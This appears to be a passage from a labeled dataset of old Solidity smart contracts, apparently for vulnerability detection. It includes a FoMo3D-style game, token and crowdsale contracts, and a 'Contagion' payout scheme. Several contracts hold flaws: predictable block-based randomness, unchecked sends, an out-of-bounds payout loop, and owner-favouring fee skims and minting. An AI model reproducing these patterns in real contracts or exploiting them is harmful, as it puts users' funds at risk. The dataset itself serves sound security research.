function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
owner.transfer(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_p3d = _com;
_com = 0;
}
uint256 _long = _eth / 100;
otherF3D_.potSwap.value(_long)();
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
if (_p3d > 0)
owner.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0xAE81cCb079B49f9149E54235802ad22a83A6e0dF ||
msg.sender == 0x79Afe7a736bf84Bf5E61FE0480A59395F162a317 ,
"only team just can activate"
);
require(address(otherF3D_) != address(0), "must link to other FoMo3D first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherF3D)
public
{
require(
msg.sender == 0xAE81cCb079B49f9149E54235802ad22a83A6e0dF ||
msg.sender == 0x79Afe7a736bf84Bf5E61FE0480A59395F162a317 ,
"only team just can activate"
);
require(address(otherF3D_) == address(0), "silly dev, you already did that");
otherF3D_ = otherFoMo3D(_otherF3D);
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 129 |
pragma solidity ^0.4.21;
contract Erc20Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ownerYHT {
address public owner;
function ownerYHT() public{
owner = msg.sender;
}
modifier onlyOwner {
require (msg.sender == owner);
_;
}
function transferOwner(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract KEO is ownerYHT,Erc20Token {
string public name= 'KEO';
string public symbol = 'KEO';
uint8 public decimals = 0;
uint256 public moneyTotal = 60000000;
uint256 public moneyFreeze = 20000000;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function KEO() public {
totalSupply = (moneyTotal - moneyFreeze) * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success){
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint previousBalances = balances[_from] + balances[_to];
balances[_from] -= _value;
balances[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
}
event EventUnLockFreeze(address indexed from,uint256 value);
function unLockFreeze(uint256 _value) onlyOwner public {
require(_value <= moneyFreeze);
moneyFreeze -= _value;
balances[msg.sender] += _value * 10 ** uint256(decimals);
emit EventUnLockFreeze(msg.sender,_value);
}
} | 1 | 2,891 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
asserts(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
asserts(b <= a);
return a - b;
}
function div(uint a, uint b) internal returns (uint) {
asserts(b > 0);
uint c = a / b;
asserts(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
asserts(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
asserts(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function asserts(bool assertion) internal {
if (!assertion) {
revert();
}
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) revert();
_;
}
}
contract Pausable is Ownable {
bool public stopped;
modifier stopInEmergency {
if (stopped) {
revert();
}
_;
}
modifier onlyInEmergency {
if (!stopped) {
revert();
}
_;
}
function emergencyStop() external onlyOwner {
stopped = true;
}
function release() external onlyOwner onlyInEmergency {
stopped = false;
}
}
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract DigipulseFirstRoundToken is StandardToken {
using SafeMath for uint;
}
contract DigipulseToken is StandardToken, Pausable {
using SafeMath for uint;
string public name = "DigiPulse Token";
string public symbol = "DGPT";
uint8 public decimals = 18;
string public version = 'v0.0.3';
address public owner = msg.sender;
uint freezeTransferForOwnerTime;
address public DGPTokenOldContract = 0x9AcA6aBFe63A5ae0Dc6258cefB65207eC990Aa4D;
DigipulseFirstRoundToken public coin;
bool public finalizedCrowdfunding = false;
uint public constant MIN_CAP = 500 * 1e18;
uint public constant MAX_CAP = 41850 * 1e18;
uint public TierAmount = 8300 * 1e18;
uint public constant TOKENS_PER_ETH = 250;
uint public constant MIN_INVEST_ETHER = 500 finney;
uint public startTime;
uint public endTime;
uint public etherReceived;
uint public coinSentToEther;
bool public isFinalized;
bool public isOBR;
uint public raisedOBR;
uint public MAX_OBR_CAP = 1600 * 1e18;
uint public OBR_Duration;
enum TierState{Completed, Tier01, Tier02, Tier03, Tier04, Tier05, Overspend, Failure, OBR}
modifier minCapNotReached() {
require (now < endTime && etherReceived <= MIN_CAP);
_;
}
mapping(address => Backer) public backers;
struct Backer {
uint weiReceived;
uint coinSent;
}
event LogReceivedETH(address addr, uint value);
event LogCoinsEmited(address indexed from, uint amount);
address public presaleWallet = 0x83D0Aa2292efD8475DF241fBA42fe137dA008d79;
address public companyWallet = 0x5C967dE68FC54365872203D49B51cDc79a61Ca85;
address public bountyWallet = 0x49fe3E535906d10e55E2e4AD47ff6cB092Abc692;
address public teamWallet_1 = 0x91D9B09a4157e02783D5D19f7DfC66a759bDc1E4;
address public teamWallet_2 = 0x56298A4e0f60Ab4A323EDB0b285A9421F8e6E276;
address public teamWallet_3 = 0x09e9e24b3e6bA1E714FB86B04602a7Aa62D587FD;
address public teamWallet_4 = 0x2F4283D0362A3AaEe359aC55F2aC7a4615f97c46;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
function withdrawPayments() onlyOwner {
require (isFinalized);
require (etherReceived != 0);
owner.transfer(this.balance);
}
function DigipulseToken() {
coin = DigipulseFirstRoundToken(DGPTokenOldContract);
isOBR = true;
isFinalized = false;
start();
balances[presaleWallet] = 600000 * 1e18;
Transfer(0x0, presaleWallet, 600000 * 1e18);
balances[teamWallet_1] = 20483871 * 1e16;
Transfer(0x0, teamWallet_1, 20483871 * 1e16);
balances[teamWallet_2] = 901290324 * 1e15;
Transfer(0x0, teamWallet_2, 901290324 * 1e15);
balances[teamWallet_3] = 901290324 * 1e15;
Transfer(0x0, teamWallet_3, 901290324 * 1e15);
balances[teamWallet_4] = 40967724 * 1e15;
Transfer(0x0, teamWallet_4, 40967724 * 1e15);
balances[companyWallet] = 512096775 * 1e16;
Transfer(0x0, companyWallet, 512096775 * 1e16);
balances[bountyWallet] = 61451613 * 1e16;
Transfer(0x0, bountyWallet, 61451613 * 1e16);
balances[this] = 12100000 * 1e18;
Transfer(0x0, this, 12100000 * 1e18);
totalSupply = 20483871 * 1e18;
}
function start() onlyOwner {
if (startTime != 0) revert();
startTime = 1506610800 ;
endTime = 1509494400 ;
OBR_Duration = startTime + 72 hours;
}
function toWei(uint _amount) constant returns (uint256 result){
result = _amount.mul(1e18);
return result;
}
function isOriginalRoundContributor() constant returns (bool _state){
uint balance = coin.balanceOf(msg.sender);
if (balance > 0) return true;
}
function() payable {
if (isOBR) {
buyDigipulseOriginalBackersRound(msg.sender);
} else {
buyDigipulseTokens(msg.sender);
}
}
function buyDigipulseOriginalBackersRound(address beneficiary) internal {
require (isOBR);
require(msg.value > 0);
require(msg.value > MIN_INVEST_ETHER);
require(isOriginalRoundContributor());
uint ethRaised = raisedOBR;
uint userContribution = msg.value;
uint shouldBecome = ethRaised.add(userContribution);
uint excess = 0;
Backer storage backer = backers[beneficiary];
if (shouldBecome > MAX_OBR_CAP) {
userContribution = MAX_OBR_CAP - ethRaised;
excess = msg.value - userContribution;
}
uint tierBonus = getBonusPercentage( userContribution );
balances[beneficiary] += tierBonus;
balances[this] -= tierBonus;
raisedOBR = raisedOBR.add(userContribution);
backer.coinSent = backer.coinSent.add(tierBonus);
backer.weiReceived = backer.weiReceived.add(userContribution);
if (raisedOBR >= MAX_OBR_CAP) {
isOBR = false;
}
Transfer(this, beneficiary, tierBonus);
LogCoinsEmited(beneficiary, tierBonus);
LogReceivedETH(beneficiary, userContribution);
if (excess > 0) {
assert(msg.sender.send(excess));
}
}
function buyDigipulseTokens(address beneficiary) internal {
require (!finalizedCrowdfunding);
require (now > OBR_Duration);
require (msg.value > MIN_INVEST_ETHER);
uint CurrentTierMax = getCurrentTier().mul(TierAmount);
if (getCurrentTier() == 5) {
CurrentTierMax = CurrentTierMax.add(350 * 1e18);
}
uint userContribution = msg.value;
uint shouldBecome = etherReceived.add(userContribution);
uint tierBonus = 0;
uint excess = 0;
uint excess_bonus = 0;
Backer storage backer = backers[beneficiary];
if (shouldBecome > CurrentTierMax) {
userContribution = CurrentTierMax - etherReceived;
excess = msg.value - userContribution;
}
tierBonus = getBonusPercentage( userContribution );
balances[beneficiary] += tierBonus;
balances[this] -= tierBonus;
etherReceived = etherReceived.add(userContribution);
backer.coinSent = backer.coinSent.add(tierBonus);
backer.weiReceived = backer.weiReceived.add(userContribution);
Transfer(this, beneficiary, tierBonus);
if (excess > 0 && etherReceived < MAX_CAP) {
excess_bonus = getBonusPercentage( excess );
balances[beneficiary] += excess_bonus;
balances[this] -= excess_bonus;
etherReceived = etherReceived.add(excess);
backer.coinSent = backer.coinSent.add(excess_bonus);
backer.weiReceived = backer.weiReceived.add(excess);
Transfer(this, beneficiary, excess_bonus);
}
LogCoinsEmited(beneficiary, tierBonus.add(excess_bonus));
LogReceivedETH(beneficiary, userContribution.add(excess));
if(etherReceived >= MAX_CAP) {
finalizedCrowdfunding = true;
}
if (excess > 0 && etherReceived == MAX_CAP) {
assert(msg.sender.send(excess));
}
}
function getCurrentTier() returns (uint Tier) {
uint ethRaised = etherReceived;
if (isOBR) return uint(TierState.OBR);
if (ethRaised >= 0 && ethRaised < toWei(8300)) return uint(TierState.Tier01);
else if (ethRaised >= toWei(8300) && ethRaised < toWei(16600)) return uint(TierState.Tier02);
else if (ethRaised >= toWei(16600) && ethRaised < toWei(24900)) return uint(TierState.Tier03);
else if (ethRaised >= toWei(24900) && ethRaised < toWei(33200)) return uint(TierState.Tier04);
else if (ethRaised >= toWei(33200) && ethRaised <= toWei(MAX_CAP)) return uint(TierState.Tier05);
else if (ethRaised > toWei(MAX_CAP)) {
finalizedCrowdfunding = true;
return uint(TierState.Overspend);
}
else return uint(TierState.Failure);
}
function getBonusPercentage(uint contribution) returns (uint _amount) {
uint tier = getCurrentTier();
uint bonus =
tier == 1 ? 20 :
tier == 2 ? 15 :
tier == 3 ? 10 :
tier == 4 ? 5 :
tier == 5 ? 0 :
tier == 8 ? 50 :
0;
return contribution.mul(TOKENS_PER_ETH).mul(bonus + 100).div(100);
}
function refund(uint _value) minCapNotReached public {
if (_value != backers[msg.sender].coinSent) revert();
uint ETHToSend = backers[msg.sender].weiReceived;
backers[msg.sender].weiReceived=0;
if (ETHToSend > 0) {
asyncSend(msg.sender, ETHToSend);
}
}
function finalize() onlyOwner public {
require (now >= endTime);
require (etherReceived >= MIN_CAP);
finalizedCrowdfunding = true;
isFinalized = true;
freezeTransferForOwnerTime = now + 182 days;
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(isFinalized);
if (msg.sender == owner) {
require(now > freezeTransferForOwnerTime);
}
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(isFinalized);
if (msg.sender == owner) {
require(now > freezeTransferForOwnerTime);
}
return super.transferFrom(_from, _to, _value);
}
} | 1 | 2,371 |
pragma solidity ^0.4.24;
contract Contagion
{
struct _Tx {
address txuser;
uint txvalue;
}
_Tx[] public Tx;
uint public counter;
address owner;
modifier onlyowner
{
if (msg.sender == owner)
_;
}
constructor () public {
owner = msg.sender;
}
function() public payable {
require(msg.value>=0.01 ether);
Sort();
if (msg.sender == owner )
{
Count();
}
}
function Sort() internal
{
uint feecounter;
feecounter=msg.value/5;
owner.send(feecounter);
feecounter=0;
uint txcounter=Tx.length;
counter=Tx.length;
Tx.length++;
Tx[txcounter].txuser=msg.sender;
Tx[txcounter].txvalue=msg.value;
}
function Count() public onlyowner {
while (counter>0) {
Tx[counter].txuser.send((Tx[counter].txvalue/1000)*33);
counter-=1;
}
}
} | 1 | 3,524 |
pragma solidity ^0.4.11;
contract SafeMath {
function mul(uint a, uint b) constant internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) constant internal returns (uint) {
assert(b != 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) constant internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) constant internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function volumeBonus(uint etherValue) constant internal returns (uint) {
if(etherValue >= 500000000000000000000) return 10;
if(etherValue >= 300000000000000000000) return 7;
if(etherValue >= 100000000000000000000) return 5;
if(etherValue >= 50000000000000000000) return 3;
if(etherValue >= 20000000000000000000) return 2;
if(etherValue >= 10000000000000000000) return 1;
return 0;
}
}
contract AbstractToken {
function totalSupply() constant returns (uint) {}
function balanceOf(address owner) constant returns (uint balance);
function transfer(address to, uint value) returns (bool success);
function transferFrom(address from, address to, uint value) returns (bool success);
function approve(address spender, uint value) returns (bool success);
function allowance(address owner, address spender) constant returns (uint remaining);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Issuance(address indexed to, uint value);
}
contract IcoLimits {
uint constant privateSaleStart = 1511740800;
uint constant privateSaleEnd = 1512172799;
uint constant presaleStart = 1512172800;
uint constant presaleEnd = 1513987199;
uint constant publicSaleStart = 1516320000;
uint constant publicSaleEnd = 1521158399;
uint constant foundersTokensUnlock = 1558310400;
modifier afterPublicSale() {
require(now > publicSaleEnd);
_;
}
uint constant privateSalePrice = 4000;
uint constant preSalePrice = 3000;
uint constant publicSalePrice = 2000;
uint constant privateSaleSupplyLimit = 600 * privateSalePrice * 1000000000000000000;
uint constant preSaleSupplyLimit = 1200 * preSalePrice * 1000000000000000000;
uint constant publicSaleSupplyLimit = 5000 * publicSalePrice * 1000000000000000000;
}
contract StandardToken is AbstractToken, IcoLimits {
mapping (address => uint) balances;
mapping (address => bool) ownerAppended;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
address[] public owners;
function transfer(address _to, uint _value) afterPublicSale returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
function transferFrom(address _from, address _to, uint _value) afterPublicSale returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
